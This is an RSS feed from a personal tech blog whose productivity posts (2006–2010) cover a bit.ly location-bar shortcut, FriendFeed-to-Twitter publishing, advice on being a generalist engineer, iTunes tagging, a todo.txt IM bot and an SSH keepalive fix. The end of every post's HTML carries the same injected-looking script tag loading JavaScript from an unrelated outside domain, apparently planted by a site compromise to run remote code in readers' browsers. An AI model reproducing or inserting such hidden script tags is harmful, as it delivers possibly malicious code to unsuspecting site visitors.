<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Productivity</title>
	<atom:link href="http://headphono.us/category/productivity/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hack: Shorten links from the location bar</title>
		<link>http://headphono.us/2010/05/08/hack-shorten-links-from-the-location-bar/</link>
		<comments>http://headphono.us/2010/05/08/hack-shorten-links-from-the-location-bar/#comments</comments>
		<pubDate>Sat, 08 May 2010 17:42:38 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Productivity]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=195</guid>
		<description><![CDATA[Bit.ly is super simple for shortening links (especially using their bookmarklet). But if you&#8217;re like me, you hardly leave your keyboard so it might be really helpful to shorten the link from the location bar itself. Lately, I&#8217;ve been using a very simple hack to do exactly that.
Most modern browsers support adding keywords for searching [...]]]></description>
			<content:encoded><![CDATA[<p>Bit.ly is super simple for shortening links (especially using their bookmarklet). But if you&#8217;re like me, you hardly leave your keyboard so it might be really helpful to shorten the link from the location bar itself. Lately, I&#8217;ve been using a very simple hack to do exactly that.</p>
<p>Most modern browsers support adding keywords for searching right from the location bar. For example, in Firefox you can bookmark a page and assign a shortcut key:</p>
<p><a href="http://headphono.us/wp-content/uploads/2010/05/Screen-shot-2010-05-08-at-10.25.50-AM.png"><img src="http://headphono.us/wp-content/uploads/2010/05/Screen-shot-2010-05-08-at-10.25.50-AM-300x161.png" alt="" title="Bitly location bar hack" width="300" height="161" class="alignnone size-medium wp-image-196" /></a></p>
<p>Notice that I&#8217;ve assigned &#8220;bitly&#8221; as the keyword. Also notice that I&#8217;ve changed the Location field to include &#8220;%s&#8221; which is what the browser uses to substitute your search term (which is everything you type right after the keyword). Now let&#8217;s use it just as you would a search engine from the location bar:</p>
<p><a href="http://headphono.us/wp-content/uploads/2010/05/Screen-shot-2010-05-08-at-10.40.32-AM.png"><img src="http://headphono.us/wp-content/uploads/2010/05/Screen-shot-2010-05-08-at-10.40.32-AM.png" alt="" title="Bitly shortening using the location bar" width="227" height="36" class="alignnone size-full wp-image-205" /></a></p>
<p>Voila! The browser simply substitutes the link for the value of %s and forwards to bitly to shorten it. This isn&#8217;t limited to working with bitly only, it should work with any link shortening service. In fact, this hack can be used for any service that expects a link (e.g. posting to reddit, digg, twitter, etc.). By all means, share any other clever uses for this hack in the comments.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/05/08/hack-shorten-links-from-the-location-bar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Publish blog posts to Twitter automatically (using FriendFeed)</title>
		<link>http://headphono.us/2008/10/30/publish-blog-posts-to-twitter-using-friendfeed/</link>
		<comments>http://headphono.us/2008/10/30/publish-blog-posts-to-twitter-using-friendfeed/#comments</comments>
		<pubDate>Thu, 30 Oct 2008 23:16:27 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Lifestreams]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[blogs]]></category>
		<category><![CDATA[friendfeed]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[twitterfeed]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=61</guid>
		<description><![CDATA[Here&#8217;s a quick tip if you&#8217;ve ever wanted to publish your blog entries on Twitter automagically. There&#8217;s always been services like TwitterFeed but they are slow to update and requires that you share login credentials with yet another 3rd party site.
Enter FriendFeed. With the launch of their new feed publishing feature, you can post to [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a quick tip if you&#8217;ve ever wanted to publish your blog entries on <a title="Twitter" href="http://twitter.com">Twitter</a> automagically. There&#8217;s always been services like <a title="TwitterFeed" href="http://www.twitterfeed.com">TwitterFeed</a> but they are slow to update and requires that you share login credentials with yet another 3rd party site.</p>
<p>Enter <a title="FriendFeed" href="http://www.friendfeed.com">FriendFeed</a>. With the launch of their new feed publishing feature, you can post to Twitter any or all services that are linked to your account. Here are a few reasons why it&#8217;s better to do it this way:</p>
<ul>
<li>FriendFeed allows linking multiple blogs/services.</li>
<li>FriendFeed enables your readers to leave comments.</li>
<li>FriendFeed polls for updates more frequently than TwitterFeed.</li>
</ul>
<p>Here&#8217;s how you can use FriendFeed to publish your blog feed to Twitter:</p>
<ol>
<li>Log in or create a new account on FriendFeed</li>
<li>Add your blog as a new service on FriendFeed</li>
<li>Enable Feed publishing to Twitter in the Account settings on FriendFeed</li>
<li>Enter in your Twitter account info.</li>
</ol>
<p>That&#8217;s all you need to get started.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/10/30/publish-blog-posts-to-twitter-using-friendfeed/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Become a specialist at being a generalist</title>
		<link>http://headphono.us/2008/06/09/become-a-specialist-at-being-a-generalist/</link>
		<comments>http://headphono.us/2008/06/09/become-a-specialist-at-being-a-generalist/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 07:01:59 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[generalist]]></category>
		<category><![CDATA[skills]]></category>
		<category><![CDATA[specialist]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=58</guid>
		<description><![CDATA[At my day job at Yahoo! Research, I get to interview my fair share of engineers. Almost always, the candidates seem to fall into one of two types &#8211; the specialists and the generalists. The specialists are those who come from a strong background of fundamentals. Over years, they have honed and assimilated the details [...]]]></description>
			<content:encoded><![CDATA[<p>At my day job at <a href="http://research.yahoo.com/" title="Yahoo! Research">Yahoo! Research</a>, I get to interview my fair share of engineers. Almost always, the candidates seem to fall into one of two types &#8211; the specialists and the generalists. The specialists are those who come from a strong background of fundamentals. Over years, they have honed and assimilated the details of their language or technology of choice. The generalists are the hungry scavengers. They try everything at least once, are infatuated with exploring every new technology or programming language and have built up a repertoire of buzzwords in their resumes.</p>
<p>The question often asked is: if you were asked to choose from two candidates &#8211; a specialist and a generalist &#8211; which would you choose? Like most things in life, it&#8217;s not a binary answer. There isn&#8217;t a right or wrong answer. There are, however, right or wrong decisions on hiring the right candidate for the right job. Each type of candidate has their strengths and weaknesses. It&#8217;s best to make the decision after careful evaluation of how closely aligned these types of candidates are to the job requirements and to the company at large.</p>
<p>This post is intended to be an introduction to a series of posts where I hope to give valuable tips on becoming an effective generalist. Before we begin though, I&#8217;d like to clarify a couple of things. By offering tips on becoming a better generalist, I don&#8217;t mean to suggest in any way that a generalist is better than a specialist &#8211; it&#8217;s just that I have more experience as a generalist as I have spent my career being one. And more specifically, I will tell you how to be a better generalist. How you use my tips in practice to improve yourself will be an exercise left up to your talent, dedication and passion. With that out of the way, let&#8217;s begin with the first in the series.</p>
<h4>Become a specialist at being a generalist</h4>
<p>This may sound almost like an oxymoron, but hear me out. Often, I&#8217;ve seen too many startup-headed, caffeine-infused, entry-level engineers  who are ready to conquer the world. They dive into their projects with vigor and passion, trying to excel and outshine other members of the team. This is great and is the right attitude to have, and if you&#8217;re one of these individuals, you&#8217;re on the right track.</p>
<p><img src="http://farm1.static.flickr.com/232/511676401_0c77e72fd7.jpg?v=0" width="150" align="right" /></p>
<p>But commonly, what develops is this insatiable thirst for doing too much. It starts slow at first. Inconspicuously over time, you may find your behavior leading to a need for constant exploration of new fields of knowledge. In a startup company, it&#8217;s the engineers in the team who have the &#8220;i-can-do-everything&#8221; attitude. You start to not only code, but help out with tech support tickets. A marketing colleague drops by and you promise to deliver a new undocumented feature that will look good on your resume. Your geek buddies suddenly start talking about Python, and you want to learn it right away and test it out on a project. A new framework hits the web, you need to rewrite that last web application using the new framework. This weekend. Sound familiar?</p>
<p>What is important to note is that the above attitude isn&#8217;t bad &#8211; instead it&#8217;s possibly detrimental to your development as an outstanding generalist. In fact, the attitude is the focal point of being a great generalist. However, being caught in a never-ending spiral of exploration is the crux of someone who could have been a great generalist. That&#8217;s why it&#8217;s important to specialize in being a generalist. What does this mean? Specialization in any field means knowing the ins and outs. It means being ahead of the curve, leading rather than following innovation in the field. It also means doing what you do best, and better than the rest. And this is exactly what differentiates an effective and outstanding generalist from the rest.</p>
<p>It means to know what to explore. It means knowing how to keep your skills up to date. It means critically thinking about every new technology and what it means to you. It means visualizing the results before jumping into a new project.</p>
<p>So, I hear you say, that&#8217;s easier said than done. Actually, you&#8217;ll be amazed at how easy it is to accomplish with a little discipline and a few tips. Here are a few:</p>
<ul>
<li><strong>Stay up-to-date with your area of generalization.</strong> This is crucial to the art of being a generalist. You must be able to consume large amounts of information each and every day to stay current on trends in your field. Over time, get into the habit of refining your methodologies. Always adapt as tools evolve and new ones come up. Become a master at picking good information out from the bad. Try to read sources of information that you trust, and have helped you in the past. Don&#8217;t get caught in the &#8216;chatter&#8217; &#8211; opinions are plenty and every blogger has more than a few, learn to separate them from the real information.</li>
<li><strong>Know what to explore and what to ignore.</strong> This is the second step after you&#8217;ve found the right information. Read and learn more than what you actually explore and implement. Remember that time is very precious for every generalist. Don&#8217;t waste it by exploring a &#8216;cool&#8217; website, learning a new language that all the cool geeks are talking about, etc. without knowing exactly how and why it will help you. Almost 50% of what you decide to explore will be of no use to you. The higher you manage to push this success rate, the more successful you&#8217;ll be.</li>
<li><strong>Be critical of new technologies.</strong> Mankind will always continue to invent and innovate. And when there&#8217;s not enough innovation, there&#8217;s recycling. If you&#8217;ve been around long enough, you&#8217;ll be able to pick out what&#8217;s recycled and what&#8217;s innovative. Learn this skill and get better at it. Think critically of a new technology that claims to solve a problem. Can this problem be solved with what you already know? Was this ever a problem or is this a problem that&#8217;s made up just to invent a new technology that solves it?</li>
<li><strong>Visualize the results of all new pursuits and endeavors.</strong> It&#8217;s easy to start every new project with an unknown factor. It&#8217;s the thought that whatever work you do will be worth it and at the end, there will be a lesson learned. Though this is a very healthy attitude to have, it only works well if you have a lot of time on your hands. But when time is short, it&#8217;s better to visualize the rewards from such a project. Is it going to increase your skill set in a particular language? Or is it going to help you gain understanding of a core technology across all languages? Spend time on it only if the rewards qualify the effort. Otherwise, be patient and spend time on something else that will give you bigger rewards.</li>
<li><strong>Don&#8217;t over-generalize.</strong> No potential employer is going to look through 30 different buzzwords and be excited that you tried and explored each. In most cases, an employer has already decided and probably spent a great amount of resources on a few key technologies. They need someone that fits into one or more of the technologies <em>they</em> use &#8211; not the other way around. The key is to explore many technologies but concentrate and gain expertise in a select few.</li>
</ul>
<p>These tips should help you direct yourself on the path to becoming a more effective generalist. Stay tuned for more articles on specific tips to help you along the way.</p>
<p>Always remember that being a generalist helps you get your resume through the door, specializing at being a generalist gets you the job.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/06/09/become-a-specialist-at-being-a-generalist/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Keeping iTunes organized with tags</title>
		<link>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/</link>
		<comments>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/#comments</comments>
		<pubDate>Sat, 22 Sep 2007 11:49:03 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=31</guid>
		<description><![CDATA[I go through a lot of music through the day &#8211; my ipod through commutes, workstations at work and home, etc. Keeping my music organized is not only necessarily but also lets me look up the right song for the right moment. So I got to thinking, why not use the social tagging concept for [...]]]></description>
			<content:encoded><![CDATA[<p>I go through a lot of music through the day &#8211; my ipod through commutes, workstations at work and home, etc. Keeping my music organized is not only necessarily but also lets me look up the right song for the right moment. So I got to thinking, why not use the social tagging concept for my mp3&#8217;s. Luckily, iTunes already has support for a mp3 tag called &#8220;Grouping&#8221;.</p>
<p>Searching around a bit, I found that <a href="http://tunetag.com/?page_id=6">Chris Brown</a> had already thought of this way back in May 06. He created an applescript called <a href="http://tunetag.com/">TuneTag</a> which was exactly what I was looking for. Except that I wanted to use the Grouping field instead of the more general Comments field (which I use for other purposes).</p>
<p>After a little bit of tweaking (actually just a search and replace), I integrated the script with <a href="http://quicksilver.blacktree.com">Quicksilver</a> (copy the .scpt files to <code>~/Library/Application Support/Quicksilver/Actions</code>). Once you&#8217;ve gotten that done, pull up the Quicksilver menu, hit the &#8220;.&#8221; and type your (space-separated) tags, tab over and type in &#8220;tag&#8221; to pull up the script and hit Enter.</p>
<p>That should start you off adding tags to your current playing song. But proper organization goes a little further. I listen (read screen) a lot of songs to see if they&#8217;re up to my *ahem* world-class quality. I usually have a smart playlist set up to only include the songs added to the collection in the last day. I go through this list, and if I like any of the songs, I add a tag (using all the stuff above) called &#8220;atc&#8221; (add to collection). The final step is to add a new smart playlist to only keep off of the &#8220;atc&#8221; tag so that you can copy these songs over to your permanent collection while getting rid of the rest easily.</p>
<p><a href="http://headphono.us/code/TuneTag%20v1.2.1.zip">Here&#8217;s the modified script released under a Creative Commons license.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>todo.txt and Multi-user IM bot</title>
		<link>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/</link>
		<comments>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/#comments</comments>
		<pubDate>Sun, 23 Jul 2006 04:37:50 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=22</guid>
		<description><![CDATA[I started using the minimal but feature-rich todo.txt by Gina Trapani today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.
A few tweaks you may [...]]]></description>
			<content:encoded><![CDATA[<p>I started using the minimal but feature-rich <a href="http://todotxt.com">todo.txt by Gina Trapani</a> today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.</p>
<p>A few tweaks you may want to use to further enhance. I found myself typing <strong>&#8220;ls&#8221;</strong> for <strong>&#8220;list&#8221;</strong> too often and then having to correct it. To have &#8220;ls&#8221; also work as &#8220;list&#8221;, change line 271 from <code>271:   "list" )</code> to <code>271:   "list" | "ls" )</code>. You can also do the same for <strong>&#8220;do&#8221;</strong> (or <strong>&#8220;done&#8221;</strong> as I like it). Change line 254 from <code>254:   "do" )</code> to <code>254:   "do" | "done" )</code></p>
<p>Finally, I edited the todobot.pl script to support multi-user control. <a href="http://headphono.us/code/todobot-pl.txt">Download the updated todobot.pl script</a>. Rename the file to <strong>todobot.pl</strong>. You can add multiple usernames by separating them with commas like: <code>my $commander = 'username1, username2, username3';</code></p>
<p><strong>Update</strong>: I&#8217;ve changed the todobot.pl to include a <strong>&#8220;die&#8221;</strong> command so that you can take it offline remotely. This signs the bot out of AIM, and also gracefully kills the todobot.pl script. This is included in the todobot.pl script above.</p>
<p>Now you can run the script as <code>perl todobot.pl > /dev/null &#038;</code> (pipes the output to null so it doesn&#8217;t clutter up your Terminal and also pushes the process to the background). This is where the &#8220;die&#8221; command comes in handy &#8211; no more having to figure out the process id to kill your IM bot.</p>
<p>Please email bugs to mxz at headphono.us<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSX Terminal: Solve the &#8220;Connection reset by peer&#8221; problem</title>
		<link>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/</link>
		<comments>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/#comments</comments>
		<pubDate>Fri, 21 Jul 2006 03:30:30 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=21</guid>
		<description><![CDATA[I finally got tired of getting timed out of my server while using Terminal and/or iTerm. Luckily, the fix was easier and less complicated than I imagined. It was a system-wide ssh config fix. Try the following:

1. sudo emacs /etc/ssh_config
2. add a new line "ServerAliveInterval 60"
3. save and exit

That should do it. The next time [...]]]></description>
			<content:encoded><![CDATA[<p>I finally got tired of getting timed out of my server while using Terminal and/or iTerm. Luckily, the fix was easier and less complicated than I imagined. It was a system-wide ssh config fix. Try the following:</p>
<p><code><br />
1. sudo emacs /etc/ssh_config<br />
2. add a new line "ServerAliveInterval 60"<br />
3. save and exit<br />
</code></p>
<p>That should do it. The next time you ssh (using either Terminal or iTerm), you&#8217;ll be sending &#8216;Keep Alive&#8217; packets every 60 seconds if the client doesn&#8217;t receive anything from the server. Optionally, if you have sysadmin access to the server you&#8217;re connecting to, you can add</p>
<pre>"ClientAliveInterval 60"</pre>
<p>in the same location server side.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 1.167 seconds -->
